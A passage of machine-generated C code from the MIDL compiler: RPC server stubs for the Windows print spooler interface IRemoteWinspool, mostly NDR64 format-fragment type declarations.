NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    NdrServerCall2,\n    0\n    };\nstatic const RPC_DISPATCH_TABLE IRemoteWinspool_v1_0_DispatchTable = \n    {\n    75,\n    (RPC_DISPATCH_FUNCTION*)IRemoteWinspool_table\n    };\n\n\n#endif /* defined(_M_AMD64)*/\n\n\n\n/* this ALWAYS GENERATED file contains the RPC server stubs */\n\n\n /* File created by MIDL compiler version 8.01.0628 */\n/* at Mon Jan 18 19:14:07 2038\n */\n/* Compiler settings for ms-par.idl:\n    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0628 \n    protocol : all , ms_ext, c_ext, robust\n    error checks: allocation ref bounds_check enum stub_data \n    VC __declspec() decoration level: \n         __declspec(uuid()), __declspec(selectany), __declspec(novtable)\n         DECLSPEC_UUID(), MIDL_INTERFACE()\n*/\n/* @@MIDL_FILE_HEADING(  ) */\n\n#if defined(_M_AMD64)\n\n\n\nextern const NDR_RUNDOWN RundownRoutines[];\n\n#if !defined(__RPC_WIN64__)\n#error  Invalid build platform for this stub.\n#endif\n\n\n#include \"ndr64types.h\"\n#include \"pshpack8.h\"\n#ifdef __cplusplus\nnamespace {\n#endif\n\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1103_t;\nextern const __midl_frag1103_t __midl_frag1103;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag1102_t;\nextern const __midl_frag1102_t __midl_frag1102;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag1101_t;\nextern const __midl_frag1101_t __midl_frag1101;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        struct _NDR64_NO_REPEAT_FORMAT frag4;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5;\n        struct _NDR64_POINTER_FORMAT frag6;\n        struct _NDR64_NO_REPEAT_FORMAT frag7;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag8;\n        struct _NDR64_POINTER_FORMAT frag9;\n        NDR64_FORMAT_CHAR frag10;\n    } frag2;\n}\n__midl_frag1097_t;\nextern const __midl_frag1097_t __midl_frag1097;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n    struct _NDR64_POINTER_FORMAT frag6;\n    struct _NDR64_POINTER_FORMAT frag7;\n}\n__midl_frag1096_t;\nextern const __midl_frag1096_t __midl_frag1096;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag10;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag13;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag14;\n    } frag2;\n}\n__midl_frag1088_t;\nextern const __midl_frag1088_t __midl_frag1088;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag1087_t;\nextern const __midl_frag1087_t __midl_frag1087;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n    struct _NDR64_POINTER_FORMAT frag2;\n    struct _NDR64_POINTER_FORMAT frag3;\n    struct _NDR64_POINTER_FORMAT frag4;\n    struct _NDR64_POINTER_FORMAT frag5;\n}\n__midl_frag1086_t;\nextern const __midl_frag1086_t __midl_frag1086;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag6;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag7;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag8;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag9;\n        struct _NDR64_MEMPAD_FORMAT frag10;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag11;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag12;\n    } frag2;\n}\n__midl_frag1080_t;\nextern const __midl_frag1080_t __midl_frag1080;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1079_t;\nextern const __midl_frag1079_t __midl_frag1079;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    NDR64_UINT32 frag8;\n}\n__midl_frag1078_t;\nextern const __midl_frag1078_t __midl_frag1078;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag1077_t;\nextern const __midl_frag1077_t __midl_frag1077;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1076_t;\nextern const __midl_frag1076_t __midl_frag1076;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag1075_t;\nextern const __midl_frag1075_t __midl_frag1075;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n    } frag2;\n}\n__midl_frag1074_t;\nextern const __midl_frag1074_t __midl_frag1074;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1073_t;\nextern const __midl_frag1073_t __midl_frag1073;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag1072_t;\nextern const __midl_frag1072_t __midl_frag1072;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag1071_t;\nextern const __midl_frag1071_t __midl_frag1071;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag1069_t;\nextern const __midl_frag1069_t __midl_frag1069;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_VAR_BOGUS_ARRAY_HEADER_FORMAT frag1;\n}\n__midl_frag1068_t;\nextern const __midl_frag1068_t __midl_frag1068;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1067_t;\nextern const __midl_frag1067_t __midl_frag1067;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1066_t;\nextern const __midl_frag1066_t __midl_frag1066;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1065_t;\nextern const __midl_frag1065_t __midl_frag1065;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1064_t;\nextern const __midl_frag1064_t __midl_frag1064;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1061_t;\nextern const __midl_frag1061_t __midl_frag1061;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1058_t;\nextern const __midl_frag1058_t __midl_frag1058;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1055_t;\nextern const __midl_frag1055_t __midl_frag1055;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1053_t;\nextern const __midl_frag1053_t __midl_frag1053;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    NDR64_UINT32 frag8;\n}\n__midl_frag1052_t;\nextern const __midl_frag1052_t __midl_frag1052;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag1050_t;\nextern const __midl_frag1050_t __midl_frag1050;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag1049_t;\nextern const __midl_frag1049_t __midl_frag1049;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1048_t;\nextern const __midl_frag1048_t __midl_frag1048;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1045_t;\nextern const __midl_frag1045_t __midl_frag1045;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag1043_t;\nextern const __midl_frag1043_t __midl_frag1043;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1042_t;\nextern const __midl_frag1042_t __midl_frag1042;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag1040_t;\nextern const __midl_frag1040_t __midl_frag1040;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag3;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag4;\n    } frag2;\n}\n__midl_frag1039_t;\nextern const __midl_frag1039_t __midl_frag1039;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1037_t;\nextern const __midl_frag1037_t __midl_frag1037;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1034_t;\nextern const __midl_frag1034_t __midl_frag1034;\n\ntypedef \nstruct \n{\n    struct _NDR64_NON_ENCAPSULATED_UNION frag1;\n    struct _NDR64_UNION_ARM_SELECTOR frag2;\n    struct _NDR64_UNION_ARM frag3;\n    struct _NDR64_UNION_ARM frag4;\n    struct _NDR64_UNION_ARM frag5;\n    struct _NDR64_UNION_ARM frag6;\n    struct _NDR64_UNION_ARM frag7;\n    NDR64_UINT32 frag8;\n}\n__midl_frag1032_t;\nextern const __midl_frag1032_t __midl_frag1032;\n\ntypedef \nstruct \n{\n    struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag1;\n        struct _NDR64_MEMPAD_FORMAT frag2;\n        struct _NDR64_EMBEDDED_COMPLEX_FORMAT frag3;\n        struct _NDR64_BUFFER_ALIGN_FORMAT frag4;\n        struct _NDR64_SIMPLE_MEMBER_FORMAT frag5;\n    } frag2;\n}\n__midl_frag1031_t;\nextern const __midl_frag1031_t __midl_frag1031;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1030_t;\nextern const __midl_frag1030_t __midl_frag1030;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1025_t;\nextern const __midl_frag1025_t __midl_frag1025;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1023_t;\nextern const __midl_frag1023_t __midl_frag1023;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag1022_t;\nextern const __midl_frag1022_t __midl_frag1022;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1021_t;\nextern const __midl_frag1021_t __midl_frag1021;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag1020_t;\nextern const __midl_frag1020_t __midl_frag1020;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1019_t;\nextern const __midl_frag1019_t __midl_frag1019;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1018_t;\nextern const __midl_frag1018_t __midl_frag1018;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1016_t;\nextern const __midl_frag1016_t __midl_frag1016;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag1014_t;\nextern const __midl_frag1014_t __midl_frag1014;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag1013_t;\nextern const __midl_frag1013_t __midl_frag1013;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag1012_t;\nextern const __midl_frag1012_t __midl_frag1012;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1011_t;\nextern const __midl_frag1011_t __midl_frag1011;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n}\n__midl_frag1009_t;\nextern const __midl_frag1009_t __midl_frag1009;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag1006_t;\nextern const __midl_frag1006_t __midl_frag1006;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag1001_t;\nextern const __midl_frag1001_t __midl_frag1001;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag996_t;\nextern const __midl_frag996_t __midl_frag996;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag995_t;\nextern const __midl_frag995_t __midl_frag995;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag994_t;\nextern const __midl_frag994_t __midl_frag994;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag993_t;\nextern const __midl_frag993_t __midl_frag993;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n    struct _NDR64_PARAM_FORMAT frag10;\n}\n__midl_frag984_t;\nextern const __midl_frag984_t __midl_frag984;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag980_t;\nextern const __midl_frag980_t __midl_frag980;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag979_t;\nextern const __midl_frag979_t __midl_frag979;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag978_t;\nextern const __midl_frag978_t __midl_frag978;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag977_t;\nextern const __midl_frag977_t __midl_frag977;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag972_t;\nextern const __midl_frag972_t __midl_frag972;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n}\n__midl_frag970_t;\nextern const __midl_frag970_t __midl_frag970;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag969_t;\nextern const __midl_frag969_t __midl_frag969;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag968_t;\nextern const __midl_frag968_t __midl_frag968;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag967_t;\nextern const __midl_frag967_t __midl_frag967;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag965_t;\nextern const __midl_frag965_t __midl_frag965;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag964_t;\nextern const __midl_frag964_t __midl_frag964;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag963_t;\nextern const __midl_frag963_t __midl_frag963;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag962_t;\nextern const __midl_frag962_t __midl_frag962;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag957_t;\nextern const __midl_frag957_t __midl_frag957;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag956_t;\nextern const __midl_frag956_t __midl_frag956;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag953_t;\nextern const __midl_frag953_t __midl_frag953;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag952_t;\nextern const __midl_frag952_t __midl_frag952;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_OPERATOR frag2;\n    struct _NDR64_EXPR_VAR frag3;\n}\n__midl_frag951_t;\nextern const __midl_frag951_t __midl_frag951;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag950_t;\nextern const __midl_frag950_t __midl_frag950;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag949_t;\nextern const __midl_frag949_t __midl_frag949;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag948_t;\nextern const __midl_frag948_t __midl_frag948;\n\ntypedef \nstruct _NDR64_CONFORMANT_STRING_FORMAT\n__midl_frag947_t;\nextern const __midl_frag947_t __midl_frag947;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag946_t;\nextern const __midl_frag946_t __midl_frag946;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag942_t;\nextern const __midl_frag942_t __midl_frag942;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n    struct _NDR64_PARAM_FORMAT frag9;\n}\n__midl_frag941_t;\nextern const __midl_frag941_t __midl_frag941;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n    struct _NDR64_PARAM_FORMAT frag7;\n    struct _NDR64_PARAM_FORMAT frag8;\n}\n__midl_frag930_t;\nextern const __midl_frag930_t __midl_frag930;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag928_t;\nextern const __midl_frag928_t __midl_frag928;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag927_t;\nextern const __midl_frag927_t __midl_frag927;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag926_t;\nextern const __midl_frag926_t __midl_frag926;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n}\n__midl_frag925_t;\nextern const __midl_frag925_t __midl_frag925;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag921_t;\nextern const __midl_frag921_t __midl_frag921;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n    struct _NDR64_PARAM_FORMAT frag5;\n    struct _NDR64_PARAM_FORMAT frag6;\n}\n__midl_frag919_t;\nextern const __midl_frag919_t __midl_frag919;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag917_t;\nextern const __midl_frag917_t __midl_frag917;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag916_t;\nextern const __midl_frag916_t __midl_frag916;\n\ntypedef \nstruct \n{\n    struct _NDR64_PROC_FORMAT frag1;\n    struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2;\n    struct _NDR64_PARAM_FORMAT frag3;\n    struct _NDR64_PARAM_FORMAT frag4;\n}\n__midl_frag915_t;\nextern const __midl_frag915_t __midl_frag915;\n\ntypedef \nstruct _NDR64_CONTEXT_HANDLE_FORMAT\n__midl_frag913_t;\nextern const __midl_frag913_t __midl_frag913;\n\ntypedef \nstruct _NDR64_POINTER_FORMAT\n__midl_frag912_t;\nextern const __midl_frag912_t __midl_frag912;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag911_t;\nextern const __midl_frag911_t __midl_frag911;\n\ntypedef \nstruct \n{\n    struct _NDR64_POINTER_FORMAT frag1;\n}\n__midl_frag910_t;\nextern const __midl_frag910_t __midl_frag910;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag909_t;\nextern const __midl_frag909_t __midl_frag909;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag2;\n}\n__midl_frag908_t;\nextern const __midl_frag908_t __midl_frag908;\n\ntypedef \nstruct \n{\n    struct _NDR64_STRUCTURE_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_NO_REPEAT_FORMAT frag1;\n        struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2;\n        struct _NDR64_POINTER_FORMAT frag3;\n        NDR64_FORMAT_CHAR frag4;\n    } frag2;\n}\n__midl_frag907_t;\nextern const __midl_frag907_t __midl_frag907;\n\ntypedef \nNDR64_FORMAT_CHAR\n__midl_frag906_t;\nextern const __midl_frag906_t __midl_frag906;\n\ntypedef \nstruct \n{\n    NDR64_FORMAT_UINT32 frag1;\n    struct _NDR64_EXPR_VAR frag2;\n}\n__midl_frag903_t;\nextern const __midl_frag903_t __midl_frag903;\n\ntypedef \nstruct \n{\n    struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1;\n    struct \n    {\n        struct _NDR64_REPEAT_FORMAT frag1;\n        struct \n        {\n            struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1;\n            struct _NDR64_POINTER_FORMAT frag2;\n        } frag2;\n        NDR64_FORMAT_CHAR frag3;\n    } frag2;\n    struct _NDR64_ARRAY_ELEMENT_INFO frag3;\n}\n__midl_frag902_t;\nextern const __midl_frag902_t __midl_frag902;\n\ntypedef \nstruct \n{\n    